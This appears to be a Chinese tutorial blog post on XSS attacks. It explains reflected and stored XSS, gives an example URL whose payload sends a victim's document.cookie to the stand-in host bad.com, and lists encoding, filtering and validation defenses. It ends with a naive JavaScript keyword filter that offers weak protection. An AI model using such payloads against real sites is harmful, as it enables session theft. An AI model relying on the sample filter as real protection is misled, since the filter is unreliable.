美文网首页
XSS 跨站脚本攻击

XSS 跨站脚本攻击

作者: 程序员财富自由之路 | 来源:发表于2016-10-21 16:02 被阅读70次


    什么是XSS跨站脚本攻击?

    主要是用了 src 这个可与跨站的特性

    它指的是恶意攻击者往Web页面里插入恶意的html或脚本代码,当用户浏览该页面时,嵌入Web里面的恶意代码会被执行,从而达到

    攻击者的特殊目的。

    分成两种:

    一种是:可信任链接骗人来点击,目的是劫持用户的cookie;

    另一种是:该脚本已经通过此方法注入了DB,每次有人浏览正常的该网站链接都会执行该脚本,理论上JS能做的都可以做。

    1、网站A存在XSS漏洞,比如search.jsp页面:<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%>This is my JSP page. <% request.getParameter("keyword"); %>2、在受害者登录A网站后,攻击者构造了一个可信的URL发给受害者:http://a.com/search.jsp?keyword=window.open("http://bad.com?co

    okie="+document.cookie)3、受害者点击可信连接4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份

    3、受害者点击可信连接

    4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份

    如何防范?

    1.输入/输出编码:比如直接将HTML标签最关键的字符:“<”,“ >”,“ &”等编码转义: <,>,&

    2.过滤:将onclick、onmouseover、script、style、iframe等字符串去掉,可根据业务需要保留

    3.校验:对用户的输入的信息根据业务规则进行校验

    XSS防范总结:

    1.要对用户的输入的信息根据业务规则校验

    2.对输入做校验,要充分验证数据的长度、字符、格式等

    3.对输出做编码、转义或过滤,根据业务需求将要置于的HTML上下文中(包括主体、属性、JS、 CSS或URL)对所有的不可信数据进行恰当转义

    给个前端过滤栗子

    /*****

    *

    * 防止XSS 注入

    *

    ****/

    Jc.util.checkIllegalXssStrCheck =function(sqlstr){

    //包含特殊字符返回true

    varpatrn = /javascript|jscript|vbscript/i;

    if(patrn.test(sqlstr)) {

    returntrue;

    }

    returnfalse;

    }

    相关文章

      网友评论

          本文标题:XSS 跨站脚本攻击

          本文链接:https://www.haomeiwen.com/subject/tzhcuttx.html